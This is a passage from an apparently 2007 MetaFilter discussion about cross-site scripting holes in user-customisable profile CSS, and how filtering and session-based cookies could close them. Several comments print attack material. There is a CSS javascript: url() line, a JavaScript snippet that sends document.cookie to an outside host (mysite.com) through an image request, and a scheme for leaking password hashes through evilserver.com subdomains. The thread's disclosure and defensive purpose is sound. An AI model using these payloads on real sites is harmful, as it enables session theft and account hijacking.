(hit post to soon). Here's how, though I really don't know javascript well enough to write workable code off the top of my head. var v=document.cookie, parse v into its component parts, extracting u = username and p=password hash, then do a GET request in the CSS (via url) to u.p.evilserver.com/blah.gif - myserver.com is configured to accept - and log - all vhost requests. Therefore, a request would come in for aberrant.mypwhash.evilserver.com/blah.gif - and right there in the weblogs would be my userid and hash.
posted by aberrant at 10:30 AM on April 15, 2007
posted by aberrant at 10:30 AM on April 15, 2007
Matt, the exploit is dependent on the behavior: and -moz-binding properties. Filter those and the hole is closed.
posted by cillit bang at 10:33 AM on April 15, 2007
posted by cillit bang at 10:33 AM on April 15, 2007
this raises another issue, by the way - the replayability of the password hashes. Sure, you don't know what my password is, but does it matter? If you have the hash, you can reconstruct a cookie and impersonate the user, since all that the server needs is this hash that doesn't change (isn't salted or nonced). The hash is equivalent to this static password that everyone's worried about, since it's all that's needed.
posted by aberrant at 10:34 AM on April 15, 2007 [1 favorite]
posted by aberrant at 10:34 AM on April 15, 2007 [1 favorite]
Matt: I think the way to solve this problem is to put metafilter user names on another domain.
So for custom designs you would go to:
http://metafilter-users.com/1
or
http://metafilter-usernames.com/mathowie
That would give people the option of easily seeing the original profile by viewing it on metafilter.com
posted by delmoi at 10:34 AM on April 15, 2007
So for custom designs you would go to:
http://metafilter-users.com/1
or
http://metafilter-usernames.com/mathowie
That would give people the option of easily seeing the original profile by viewing it on metafilter.com
posted by delmoi at 10:34 AM on April 15, 2007
dw: Matt would be chasing his tail as edge cases kept coming to light.
Matt will be chasing his tail no matter what, since CSS3 will probably add in a couple more ways in which you can grab remote files.
There are only three major image types for web pages right now: gif, jpeg, and png. (Maybe svg will be there one day.) If you limit the calls to that, then you only have to worry about the truly malicious hacker who is altering MIME types on their server.
I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?
XMLHTTPRequest? I mean, theoretically you could parse the cookie in the script and then push it in the background. But then you're basically writing an AJAX app.
I'm still baffled why no one has ever built a significant exploit with this, though. I mean, if you could do a hell of a lot of damage this way, why haven't we seen this in the open?
posted by dw at 10:35 AM on April 15, 2007
Matt will be chasing his tail no matter what, since CSS3 will probably add in a couple more ways in which you can grab remote files.
There are only three major image types for web pages right now: gif, jpeg, and png. (Maybe svg will be there one day.) If you limit the calls to that, then you only have to worry about the truly malicious hacker who is altering MIME types on their server.
I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?
XMLHTTPRequest? I mean, theoretically you could parse the cookie in the script and then push it in the background. But then you're basically writing an AJAX app.
I'm still baffled why no one has ever built a significant exploit with this, though. I mean, if you could do a hell of a lot of damage this way, why haven't we seen this in the open?
posted by dw at 10:35 AM on April 15, 2007
Um, Cillit Bang, maybe I don't understand, but this is the line in my CSS that does the cookie grab:
body { background: #3a3a3a url(javascript:alert(document.cookie) ) no-repeat ; background-position: 680px 70px; }
How do the behavior / moz-binding properties affect this?
posted by aberrant at 10:36 AM on April 15, 2007
body { background: #3a3a3a url(javascript:alert(document.cookie) ) no-repeat ; background-position: 680px 70px; }
How do the behavior / moz-binding properties affect this?
posted by aberrant at 10:36 AM on April 15, 2007
Filter those and the hole is closed.
I'm an idiot. You can't filter external files. Host them locally with some serious filtering.
Um, Cillit Bang, maybe I don't understand
I was talking about Olli's. Yours is a separate potential hole.
posted by cillit bang at 10:39 AM on April 15, 2007
I'm an idiot. You can't filter external files. Host them locally with some serious filtering.
Um, Cillit Bang, maybe I don't understand
I was talking about Olli's. Yours is a separate potential hole.
posted by cillit bang at 10:39 AM on April 15, 2007
Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.
This doesn't make any sense to me at all.. It has to be easier to work from the standard, for users and developers alike (assuming the users can get over their irrational fear - omg, CSS!).
What you can do with layout flexibility is very powerful, images are just a nice additional frill - MetaFilter itself is proof enough of that (as much as I hate to admit that the img tag hasn't been missed that much - free the tags!)..
posted by Chuckles at 10:41 AM on April 15, 2007
This doesn't make any sense to me at all.. It has to be easier to work from the standard, for users and developers alike (assuming the users can get over their irrational fear - omg, CSS!).
What you can do with layout flexibility is very powerful, images are just a nice additional frill - MetaFilter itself is proof enough of that (as much as I hate to admit that the img tag hasn't been missed that much - free the tags!)..
posted by Chuckles at 10:41 AM on April 15, 2007
I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?
Olli's clever CSS file calls this JavaScript for Firefox (and another one for IE).
You'd simply add something like this to the script:
You could then see in your logs all the requests to mysite.com/page/COOKIE DATA HERE and hence extract everybody's cookies.
How the whole thing works: The -moz-binding property tells Firefox to execute some Javscript, in this case the remote javscript at th e bugzilla site, for the .userpage class. Firefox runs this javascript, which gets the cookies and adds an image to the page with the cookie data.
The bugzilla site plays no role in this except to serve the javascript, which it serves like text (i.e. it's not executing it) - all the execution happens on the user's computer.
This is all separate from the url() thing.
posted by Aloysius Bear at 10:42 AM on April 15, 2007
Olli's clever CSS file calls this JavaScript for Firefox (and another one for IE).
You'd simply add something like this to the script:
var data = document.cookie;
var img = document.createElement('img');
img.setAttribute("src",'http://mysite.com/page/'+data);
document.body.appendChild(img);You could then see in your logs all the requests to mysite.com/page/COOKIE DATA HERE and hence extract everybody's cookies.
How the whole thing works: The -moz-binding property tells Firefox to execute some Javscript, in this case the remote javscript at th e bugzilla site, for the .userpage class. Firefox runs this javascript, which gets the cookies and adds an image to the page with the cookie data.
The bugzilla site plays no role in this except to serve the javascript, which it serves like text (i.e. it's not executing it) - all the execution happens on the user's computer.
This is all separate from the url() thing.
posted by Aloysius Bear at 10:42 AM on April 15, 2007
dw: we have.
That's not exactly the exploit I'm seeing as the problem, though. If this is such a huge problem, why hasn't there been any attempt to close the hole on the part of any of the browser groups?
Host them locally with some serious filtering.
I think that is going to be the safest option. But assuming every user with a real and semi-active account, say 40,000, gets just 1MB for these images, that's 40GB right there, and increasing by the day. And then someone will realize you can use this space to host those problematic IMG files and start clamoring for ImageFilter.
posted by dw at 10:50 AM on April 15, 2007
That's not exactly the exploit I'm seeing as the problem, though. If this is such a huge problem, why hasn't there been any attempt to close the hole on the part of any of the browser groups?
Host them locally with some serious filtering.
I think that is going to be the safest option. But assuming every user with a real and semi-active account, say 40,000, gets just 1MB for these images, that's 40GB right there, and increasing by the day. And then someone will realize you can use this space to host those problematic IMG files and start clamoring for ImageFilter.
posted by dw at 10:50 AM on April 15, 2007
dw: there's no "hole" to speak of - Javascript in CSS was accepted a while back; it's being silently discarded now, but there are lots of other ways to get your browser to download javascript. It's what the javascript can DO that's at issue, and things like XSS and CSRF can't really be fixed easily since they're core to a lot of functionality.
posted by aberrant at 10:55 AM on April 15, 2007
posted by aberrant at 10:55 AM on April 15, 2007
There are several separate issues:
- Executing scripts within the url() call (aberrent's exploit) is impossible if you require that the URL begins with "http".
- Executing external scripts referenced by url() (Olli's exploit) is only possible with the behavior and mozbinding properties, so filter those.
- Importing external CSS requires @import, so filter that.
I think this is eminently solvable.
But assuming every user with a real and semi-active account, say 40,000, gets just 1MB for these images
I only meant the CSS. There's no need for images to be hosted here if the filtering is done properly.
posted by cillit bang at 10:55 AM on April 15, 2007
- Executing scripts within the url() call (aberrent's exploit) is impossible if you require that the URL begins with "http".
- Executing external scripts referenced by url() (Olli's exploit) is only possible with the behavior and mozbinding properties, so filter those.
- Importing external CSS requires @import, so filter that.
I think this is eminently solvable.
But assuming every user with a real and semi-active account, say 40,000, gets just 1MB for these images
I only meant the CSS. There's no need for images to be hosted here if the filtering is done properly.
posted by cillit bang at 10:55 AM on April 15, 2007
I'm with Chuckles - I think the CSS layout control is way more powerful than a "glorified color picker," even defanged to prevent loading remote files. It is sad that there's no way to do it all the way, with background images and everything, without also enabling various exploits. But the half-CSS solution just seems cooler than removing it altogether and putting in a color picker (or nothing).
Also, on another topic altogether, aberrant said: this raises another issue, by the way - the replayability of the password hashes. Why are there even password hashes in the cookies?? I thought "never trust the client" was a fundamental design principle; shouldn't cookies be restricted to something like a SessionID and leave all the good stuff on the server somewhere? I guess it's a bit late to entirely redesign the MeFi login process, but if the cookies have actual important secret stuff in them, isn't that the problem right there?
posted by rkent at 11:09 AM on April 15, 2007
Also, on another topic altogether, aberrant said: this raises another issue, by the way - the replayability of the password hashes. Why are there even password hashes in the cookies?? I thought "never trust the client" was a fundamental design principle; shouldn't cookies be restricted to something like a SessionID and leave all the good stuff on the server somewhere? I guess it's a bit late to entirely redesign the MeFi login process, but if the cookies have actual important secret stuff in them, isn't that the problem right there?
posted by rkent at 11:09 AM on April 15, 2007
So basically, even if we were to come up with a way to do this, Matt would have to implement his own subset of CSS to make it secure?
posted by aberrant at 11:10 AM on April 15, 2007
posted by aberrant at 11:10 AM on April 15, 2007
Yeah, aberrant, but "subset" meaning all CSS hosted here with a couple things filtered out. So not really a subset but full functionality less a handful of specific hacks.
If I had three rules: url() has to start with http://, no "-moz", and no "behavior" allowed in anyone's CSS, we'd be pretty much secure, no?
posted by mathowie (staff) at 11:16 AM on April 15, 2007
If I had three rules: url() has to start with http://, no "-moz", and no "behavior" allowed in anyone's CSS, we'd be pretty much secure, no?
posted by mathowie (staff) at 11:16 AM on April 15, 2007
matt: I don't know. My exposure to CSS is extremely limited; I happened to have some free time last night to muck around. My concern is this: we've had several folks - people with far more experience than I - say that the security of this functionality was not an issue. However, in 12 hours, you've seen 2 different exploit vectors, Olli's being far more elegant than mine, along with a possible third (@import).
Who's to say that we've gotten them all? Again, I don't know enough about the current or proposed implementations to assess the risks appropriately. If you go ahead with a modified version, please consider adding functionality so that users can disable custom CSS when viewing others' pages. This way I can remain reliant on your code/formatting - which I have to do anyway - without having to implicitly trust any other user whose page I'd like to visit.
posted by aberrant at 11:21 AM on April 15, 2007
Who's to say that we've gotten them all? Again, I don't know enough about the current or proposed implementations to assess the risks appropriately. If you go ahead with a modified version, please consider adding functionality so that users can disable custom CSS when viewing others' pages. This way I can remain reliant on your code/formatting - which I have to do anyway - without having to implicitly trust any other user whose page I'd like to visit.
posted by aberrant at 11:21 AM on April 15, 2007
Another question - why couldn't I have url("http://myserver.com/bg.html") - which meets the filter requirements - but then have <script> statements within that html that would execute on the client? I might not be able to get the cookie, but that doesn't matter - there are lots of other javascript-based attacks that might work.
posted by aberrant at 11:25 AM on April 15, 2007
posted by aberrant at 11:25 AM on April 15, 2007
I don't know aberrant, if that was possible it seems like people could have exploited this on thousands of servers for several years now, but I've never heard mention of it outside of these proof-of-concept security discussions.
A lot of this stuff reads as alarmist to me. Anyone can show an "exploit" that runs locally and only shows you your own private details, passing that along to someone else is much more difficult.
posted by mathowie (staff) at 11:32 AM on April 15, 2007
A lot of this stuff reads as alarmist to me. Anyone can show an "exploit" that runs locally and only shows you your own private details, passing that along to someone else is much more difficult.
posted by mathowie (staff) at 11:32 AM on April 15, 2007
Javascript in CSS was accepted a while back
Really? Because as far as I know, there's no valid reason for there to be CSS in JavaScript. Maybe to access the DOM, perhaps, but I've never anyone attempt it in a stylesheet, especially when it only apparently works in older browsers and even then sketchily.
(On further review, the W3C folks are working on binding behaviors in CSS, so maybe I'm just behind the times.)
If I had three rules: url() has to start with http://, no "-moz", and no "behavior" allowed in anyone's CSS, we'd be pretty much secure, no?
I want to say yes, but I'm still wondering if the IMG/XSS problem is going to rear itself in images aren't hosted locally.
posted by dw at 11:35 AM on April 15, 2007
Really? Because as far as I know, there's no valid reason for there to be CSS in JavaScript. Maybe to access the DOM, perhaps, but I've never anyone attempt it in a stylesheet, especially when it only apparently works in older browsers and even then sketchily.
(On further review, the W3C folks are working on binding behaviors in CSS, so maybe I'm just behind the times.)
If I had three rules: url() has to start with http://, no "-moz", and no "behavior" allowed in anyone's CSS, we'd be pretty much secure, no?
I want to say yes, but I'm still wondering if the IMG/XSS problem is going to rear itself in images aren't hosted locally.
posted by dw at 11:35 AM on April 15, 2007
Arrgh. I really need to learn how to use Review.
...there's no valid reason for there to be JavaScript in CSS.
posted by dw at 11:36 AM on April 15, 2007
...there's no valid reason for there to be JavaScript in CSS.
posted by dw at 11:36 AM on April 15, 2007
?!?!?!?!?
Dudes! Talk about Ashcroftian! The way to prevent XSS is to use nonces, not to slowly disable every bit of functionality! In two years we'll have to use one finger and pre-selected words from a picture book to use Mefi! WTF!
posted by Firas at 11:44 AM on April 15, 2007
Dudes! Talk about Ashcroftian! The way to prevent XSS is to use nonces, not to slowly disable every bit of functionality! In two years we'll have to use one finger and pre-selected words from a picture book to use Mefi! WTF!
posted by Firas at 11:44 AM on April 15, 2007
There are nonces on every post operation on mefi, as of a couple weeks ago.
But I do store enough details in cookies that if you had a copy of all my cookies, you'd essentially appear logged in as me to mefi. I should move to session-based security, but I never wanted to have to deal with errors when someone spends an hour writing a comment or post, only to have their operations die because the session is over.
posted by mathowie (staff) at 11:48 AM on April 15, 2007
But I do store enough details in cookies that if you had a copy of all my cookies, you'd essentially appear logged in as me to mefi. I should move to session-based security, but I never wanted to have to deal with errors when someone spends an hour writing a comment or post, only to have their operations die because the session is over.
posted by mathowie (staff) at 11:48 AM on April 15, 2007
why couldn't I have url("http://myserver.com/bg.html") - which meets the filter requirements - but then have statements within that html that would execute on the client?
Because if you do that in any property but behavior/moz-binding, the browser is expecting an image and won't try to execute the script.
posted by cillit bang at 11:59 AM on April 15, 2007
Because if you do that in any property but behavior/moz-binding, the browser is expecting an image and won't try to execute the script.
posted by cillit bang at 11:59 AM on April 15, 2007
Embedding images is a seriously trivial component of my CSS writing. Disable url() and @include unilaterally and I would still be happy.
Or if you want to make a lot of extra work for yourself, you could preload requested URLs and make sure they had proper JPG/GIF/PNG headers before passing the customization doc along to the user.
posted by ardgedee at 12:02 PM on April 15, 2007
Or if you want to make a lot of extra work for yourself, you could preload requested URLs and make sure they had proper JPG/GIF/PNG headers before passing the customization doc along to the user.
posted by ardgedee at 12:02 PM on April 15, 2007
It may be alarmist - I don't know. What I do know is that I saw a proof-of-concept at RSA from a respected security guy that showed that malicious javascript running on a victim's browser can essentially make any GET or POST request it wants - on the internal network if it's protected - with the authority of the user. The demonstration showed that you could use javascript in this way to perform internal network mapping, and even use the browser to perform authenticated actions - and send some important data back out. Error messages, for example, don't follow site restrictions, so if I do a GET to a specific URL that I know will contain a gif if it's, say, an SAP server, and I get an error message, I know that there's no SAP server at that URL.
The thing is, while I work in information security, I don't know enough about web-based attacks to determine whether this is a significant risk or whether it's unlikely. I've never bought into the "we've never heard of it before so it can't possibly pose a threat to us" line - I've seen too many folks get burned with that logic.
I don't really have a dog in this hunt, since I couldn't give two figs about seeing pretty user pages. As long as you give us an option to disable downloading content from other sites without an explicit action being taken, I'm happy to bow out.
posted by aberrant at 12:03 PM on April 15, 2007
The thing is, while I work in information security, I don't know enough about web-based attacks to determine whether this is a significant risk or whether it's unlikely. I've never bought into the "we've never heard of it before so it can't possibly pose a threat to us" line - I've seen too many folks get burned with that logic.
I don't really have a dog in this hunt, since I couldn't give two figs about seeing pretty user pages. As long as you give us an option to disable downloading content from other sites without an explicit action being taken, I'm happy to bow out.
posted by aberrant at 12:03 PM on April 15, 2007
Here, I tried out an experiment.
I set a behavior property on a footer div in MetaFilter to load this file. I let it run for about 30 seconds, then I looked at my logs.
Here are a few entries from my logs:
85.103.143.156 - - [15/Apr/2007:05:14:22 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/58032/Frilled-Shark-Destroys-Everything-You-Love" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
80.58.205.36 - - [15/Apr/2007:05:14:22 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/51336/All-Roads-Lead-to-The-Middle-Kingdom" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
80.216.242.88 - - [15/Apr/2007:05:14:27 -0500] "GET /mefi/metafilter.png HTTP/1.1" 304 - "http://www.metafilter.com/user/46739" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
81.215.109.67 - - [15/Apr/2007:05:14:28 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/tags/sex" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
All of them are using IE6, which is supposed to be prone to this, and I loaded the behavior script which is supposed to run js, but none of the attempted accesses for the img file appended their cookie details.
Is there anything wrong with the script? I just copied what people said would work here. This should be a worst case scenario, but I can't produce the exploit.
posted by mathowie (staff) at 12:05 PM on April 15, 2007
I set a behavior property on a footer div in MetaFilter to load this file. I let it run for about 30 seconds, then I looked at my logs.
Here are a few entries from my logs:
85.103.143.156 - - [15/Apr/2007:05:14:22 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/58032/Frilled-Shark-Destroys-Everything-You-Love" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
80.58.205.36 - - [15/Apr/2007:05:14:22 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/51336/All-Roads-Lead-to-The-Middle-Kingdom" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
80.216.242.88 - - [15/Apr/2007:05:14:27 -0500] "GET /mefi/metafilter.png HTTP/1.1" 304 - "http://www.metafilter.com/user/46739" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
81.215.109.67 - - [15/Apr/2007:05:14:28 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/tags/sex" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
All of them are using IE6, which is supposed to be prone to this, and I loaded the behavior script which is supposed to run js, but none of the attempted accesses for the img file appended their cookie details.
Is there anything wrong with the script? I just copied what people said would work here. This should be a worst case scenario, but I can't produce the exploit.
posted by mathowie (staff) at 12:05 PM on April 15, 2007
I never wanted to have to deal with errors when someone spends an hour writing a comment or post, only to have their operations die because the session is over.
Then extend the session lifecycle to a couple of hours. Storing the username and password in a cookie is just asking for trouble. Anything of value should be on the server--the only thing the user should have is a hash that points to their session, ideally tied to an IP address (also in the session).
posted by Civil_Disobedient at 12:08 PM on April 15, 2007
Then extend the session lifecycle to a couple of hours. Storing the username and password in a cookie is just asking for trouble. Anything of value should be on the server--the only thing the user should have is a hash that points to their session, ideally tied to an IP address (also in the session).
posted by Civil_Disobedient at 12:08 PM on April 15, 2007
Matt, just an aside: what's up with the timestamps on those logs?
posted by aberrant at 12:13 PM on April 15, 2007
posted by aberrant at 12:13 PM on April 15, 2007
Matt, what makes you think those log entries are related to the scrtipt? You need to add something identifiable to the image URL so you can easily grep for it.
posted by cillit bang at 12:27 PM on April 15, 2007
posted by cillit bang at 12:27 PM on April 15, 2007
cillit bang, those requests are on another server that doesn't host any of the requested images. Every request shown up there is from that behavior div hack.
It looks like the variables aren't being added to the img path, but I'm no javascripter and I'm just copying what was shown here. Anyone with knowledge of js want to give that script a once-over again?
posted by mathowie (staff) at 12:33 PM on April 15, 2007
It looks like the variables aren't being added to the img path, but I'm no javascripter and I'm just copying what was shown here. Anyone with knowledge of js want to give that script a once-over again?
posted by mathowie (staff) at 12:33 PM on April 15, 2007
Where would the script get "/mefi/metafilter.png" from?
posted by cillit bang at 12:59 PM on April 15, 2007
posted by cillit bang at 12:59 PM on April 15, 2007
Well, this at least explains why I was clicking around madly on all the examples above w/out seeing a damn thing. (Next time I'll skip to the bottom first).
A splendid idea.
posted by Kwantsar at 1:28 PM on April 15, 2007
A splendid idea.
posted by Kwantsar at 1:28 PM on April 15, 2007
Stupid question, but what if you only allowed image extentions*, and then filtered all images into something like ImgRed? [Lifehacker, Code] This essentially grabs the image URL the first time it's called and saves it to a database, the loads the image from the database everytime after that. Because you (read: MeFi) is loading images from a trusted server, you can guarantee that it really is an image.
This makes sense to me, but then there's a reason I haven't created the next big MySpace/Facebook/MeFi mashup site.
*and I mean really only allow images. If you can only load a jpg/gif/png, don't bother looking for -moz nonsense, because it won't be able to load anything.
posted by niles at 1:32 PM on April 15, 2007
This makes sense to me, but then there's a reason I haven't created the next big MySpace/Facebook/MeFi mashup site.
*and I mean really only allow images. If you can only load a jpg/gif/png, don't bother looking for -moz nonsense, because it won't be able to load anything.
posted by niles at 1:32 PM on April 15, 2007
It took me entirely too long to read to the part where this was disabled, and nearly went insane when all the profiles I linked to still looked the same. Sheesh.
posted by iguanapolitico at 1:48 PM on April 15, 2007
posted by iguanapolitico at 1:48 PM on April 15, 2007
OK, I know almost nothing about information security, but this discussion of exploits and holes strikes me as very similar to the "stranger danger" thread on AskMe recently. I mean, yes the risks are there, but what are the chances of someone actually doing damage? And what is the damage we are talking about -- just hijacking my MeFi account? I recall some discussion about the IMG tag that suggested it could be used to get info from other sites that were open at the same time. Is that what we are talking about here? Surely any kind of account hijacking could be remedied without too much trouble by the mods, right? I am cautious about my credit card number, but I don't stop going out to eat for fear that my server is going to clone my card when I pay. Isn't this in the same ballpark?
Also, can someone edit the post to reflect the current situation out of respect to latecomers?
posted by Rock Steady at 2:12 PM on April 15, 2007
Also, can someone edit the post to reflect the current situation out of respect to latecomers?
posted by Rock Steady at 2:12 PM on April 15, 2007
Also also, have I asked enough questions?
posted by Rock Steady at 2:13 PM on April 15, 2007
posted by Rock Steady at 2:13 PM on April 15, 2007
BTW LiveJournal ran into this same issue. Since they have a lot more malicious users, it was pretty serious. They ended up downloading the css file on the server side and running it through a cleaner, then serving it locally. And then they still got beat by someone slipping something past the cleaner!
posted by smackfu at 2:18 PM on April 15, 2007
posted by smackfu at 2:18 PM on April 15, 2007
Ok, first of all I think I should apologise for this.
I intended to message Matt about this privately but I had to go out and stupidly left the test up on my profile.
That said, what we're seeing here is CVE-2006-0496. It was a big deal last year, Livejournal got hit pretty hard by it - several thousand accounts were compromised.
Livejournal's response is worth a read.
posted by Olli at 2:34 PM on April 15, 2007
I intended to message Matt about this privately but I had to go out and stupidly left the test up on my profile.
That said, what we're seeing here is CVE-2006-0496. It was a big deal last year, Livejournal got hit pretty hard by it - several thousand accounts were compromised.
Livejournal's response is worth a read.
posted by Olli at 2:34 PM on April 15, 2007
I wish I'd had a free day to play, this could have been fantastic entertainment. It means I'm going to have to turn up to the next London meetup too, and give chrismear a proper smacker for that sweet-bit.
What was all the talk of nonces though?
posted by NinjaTadpole at 2:42 PM on April 15, 2007
What was all the talk of nonces though?
posted by NinjaTadpole at 2:42 PM on April 15, 2007
Rocksteady:
OK, I know almost nothing about information security, but this discussion of exploits and holes strikes me as very similar to the "stranger danger" thread on AskMe recently. I mean, yes the risks are there, but what are the chances of someone actually doing damage? And what is the damage we are talking about -- just hijacking my MeFi account?
Well, people consider the risks differently. I'd prefer not to take this risk myself, but go ahead if you want to. The damage we're talking about is more than just hijacking your mefi account - as I posted above, if you're reading mefi at work, this could lead to a compromise of your company's network as a worst case scenario, or lead to divulging information about the network in a moderately-bad instance. If you're reading at home, behind a router with a specific configuration, your home network could be completely compromised in the worst case - in a moderately-bad scenario, the attacker would be able to download your router config, which more than likely has account information relating to your ISP connection if you're on DSL. The username and password you use to establish a PPPoE DSL connection is typically the same as the one used for your ISP's webmail and billing interfaces, so the attacker would then have that information as well.
As for the likelihood, all I can tell you is that I've seen the code that can do this - it's available on the net to anyone who can assemble its parts; I've seen it demonstrated (as has anyone who attended a particular session of the RSA conference in February, or who attended Defcon last year); and I know there are people here who are more than capable (leaving aside willingness and motivation, into which I have no insight) of launching such an attack.
So, my advice? Listen to the folks you trust, who do know something about information security. Make up your own mind as to whether this is a risk you want to take. But realize that there are some (though maybe just one) of us who don't want to take this particular risk, and who would like to see the identified issues resolved before it becomes available to anyone with capability, motivation, and $5, and even then, have it be an option that can be disabled.
posted by aberrant at 3:09 PM on April 15, 2007
OK, I know almost nothing about information security, but this discussion of exploits and holes strikes me as very similar to the "stranger danger" thread on AskMe recently. I mean, yes the risks are there, but what are the chances of someone actually doing damage? And what is the damage we are talking about -- just hijacking my MeFi account?
Well, people consider the risks differently. I'd prefer not to take this risk myself, but go ahead if you want to. The damage we're talking about is more than just hijacking your mefi account - as I posted above, if you're reading mefi at work, this could lead to a compromise of your company's network as a worst case scenario, or lead to divulging information about the network in a moderately-bad instance. If you're reading at home, behind a router with a specific configuration, your home network could be completely compromised in the worst case - in a moderately-bad scenario, the attacker would be able to download your router config, which more than likely has account information relating to your ISP connection if you're on DSL. The username and password you use to establish a PPPoE DSL connection is typically the same as the one used for your ISP's webmail and billing interfaces, so the attacker would then have that information as well.
As for the likelihood, all I can tell you is that I've seen the code that can do this - it's available on the net to anyone who can assemble its parts; I've seen it demonstrated (as has anyone who attended a particular session of the RSA conference in February, or who attended Defcon last year); and I know there are people here who are more than capable (leaving aside willingness and motivation, into which I have no insight) of launching such an attack.
So, my advice? Listen to the folks you trust, who do know something about information security. Make up your own mind as to whether this is a risk you want to take. But realize that there are some (though maybe just one) of us who don't want to take this particular risk, and who would like to see the identified issues resolved before it becomes available to anyone with capability, motivation, and $5, and even then, have it be an option that can be disabled.
posted by aberrant at 3:09 PM on April 15, 2007
Ninjatadpole: This definition is the one that you want :)
posted by aberrant at 3:15 PM on April 15, 2007
posted by aberrant at 3:15 PM on April 15, 2007
stranger danger
precisely what Rock Steady said. banning the img tag was dumb. killing user page customization was dumb. when i told mathowie he was acting like george bush after 9/11 with regard to these stupid exploits he told me to eat a bag of dick. sheesh. fix the password hash in the cookie problem, and turn the functionality people love back on. please?
posted by quonsar at 3:25 PM on April 15, 2007
precisely what Rock Steady said. banning the img tag was dumb. killing user page customization was dumb. when i told mathowie he was acting like george bush after 9/11 with regard to these stupid exploits he told me to eat a bag of dick. sheesh. fix the password hash in the cookie problem, and turn the functionality people love back on. please?
posted by quonsar at 3:25 PM on April 15, 2007
Can we at least have CSS functionality back, minus the images? Being able to mess with colors, type and layout is still great.
posted by Brandon Blatcher at 3:30 PM on April 15, 2007 [1 favorite]
posted by Brandon Blatcher at 3:30 PM on April 15, 2007 [1 favorite]
OMG SOMEONE HAS COMPROMISED MY HOME NETWORK! MY FAMILY REUNION MOVIES AND THE PIX OF MUFFIN SHITTING IN THE SANDBOX HAVE BEEN HAX0RZED!!!!!
posted by quonsar at 3:31 PM on April 15, 2007
posted by quonsar at 3:31 PM on April 15, 2007
I thought ColdFengshui was an application server? Doesn't it have the ability to keep session data?
posted by Civil_Disobedient at 3:42 PM on April 15, 2007
posted by Civil_Disobedient at 3:42 PM on April 15, 2007
"...banning the img tag was dumb..."
This is really scary. Years ago there were times when I disagreed with decisions that Matt has made. I whined about it. The general response was that I was full of it. Eventually I just got tired of getting whackamoled every time I popped my head out of the sand. I can't even remember what I was whining about anymore. It was completely unimportant.
This time I agree with Matt. The img tag is superfluous, unnecessary, and though oftentimes funny, tended to detract from what made MeFi kewl. All these other people want it back. They think it adds to the kewlness.
I don't think Matt should start agreeing with me.
posted by ZachsMind at 3:49 PM on April 15, 2007
This is really scary. Years ago there were times when I disagreed with decisions that Matt has made. I whined about it. The general response was that I was full of it. Eventually I just got tired of getting whackamoled every time I popped my head out of the sand. I can't even remember what I was whining about anymore. It was completely unimportant.
This time I agree with Matt. The img tag is superfluous, unnecessary, and though oftentimes funny, tended to detract from what made MeFi kewl. All these other people want it back. They think it adds to the kewlness.
I don't think Matt should start agreeing with me.
posted by ZachsMind at 3:49 PM on April 15, 2007
Make up your own mind as to whether this is a risk you want to take. But realize that there are some (though maybe just one) of us who don't want to take this particular risk, and who would like to see the identified issues resolved before it becomes available to anyone with capability, motivation, and $5, and even then, have it be an option that can be disabled.
OK, so shouldn't it be an option then, perhaps with an appropriate warning/disclaimer?
posted by Rock Steady at 4:20 PM on April 15, 2007
OK, so shouldn't it be an option then, perhaps with an appropriate warning/disclaimer?
posted by Rock Steady at 4:20 PM on April 15, 2007
I also think we're better off without the IMG tag, frankly. Lots of thread that would have ended up just packed with images ended up not being.
As more and more users were joining, the traditional restraint was going away. Still, I wouldn't mind seeing 14kers and below allowed to use it...
posted by delmoi at 4:27 PM on April 15, 2007
As more and more users were joining, the traditional restraint was going away. Still, I wouldn't mind seeing 14kers and below allowed to use it...
posted by delmoi at 4:27 PM on April 15, 2007
After reading about the LJ exploits, I guess my fears are confirmed, but I'd like to bring this back as onsite CSS with some filtering on it, and redoing the cookie/login system to be more robust even if an exploit is figured out.
posted by mathowie (staff) at 4:55 PM on April 15, 2007
posted by mathowie (staff) at 4:55 PM on April 15, 2007
I've scanned the thread twice. Somewhere when you guys start talking about XMLHTTPRequest and Javascript and server side versus client side requests you lose me.
I take it this means the whole CSS customization didn't work, huh?
posted by ZachsMind at 4:57 PM on April 15, 2007
I take it this means the whole CSS customization didn't work, huh?
posted by ZachsMind at 4:57 PM on April 15, 2007
It worked, it just also introduced a vulnerability that isn't super easy to fix, so it'll take more development to bring back.
posted by mathowie (staff) at 5:04 PM on April 15, 2007
posted by mathowie (staff) at 5:04 PM on April 15, 2007
Yikes. Good thing I had to leave for work early this morning instead of jumping in and changing my profile.
Bummer, though.
posted by Gator at 5:08 PM on April 15, 2007
Bummer, though.
posted by Gator at 5:08 PM on April 15, 2007
After reading about the LJ exploits, I guess my fears are confirmed, but I'd like to bring this back as onsite CSS with some filtering on it, and redoing the cookie/login system to be more robust even if an exploit is figured out.
That's great.
Going with Livejournal's approach might be the best solution. You could restrict the cookie domains and serve profiles from .user.metafilter.com.
posted by Olli at 5:12 PM on April 15, 2007
That's great.
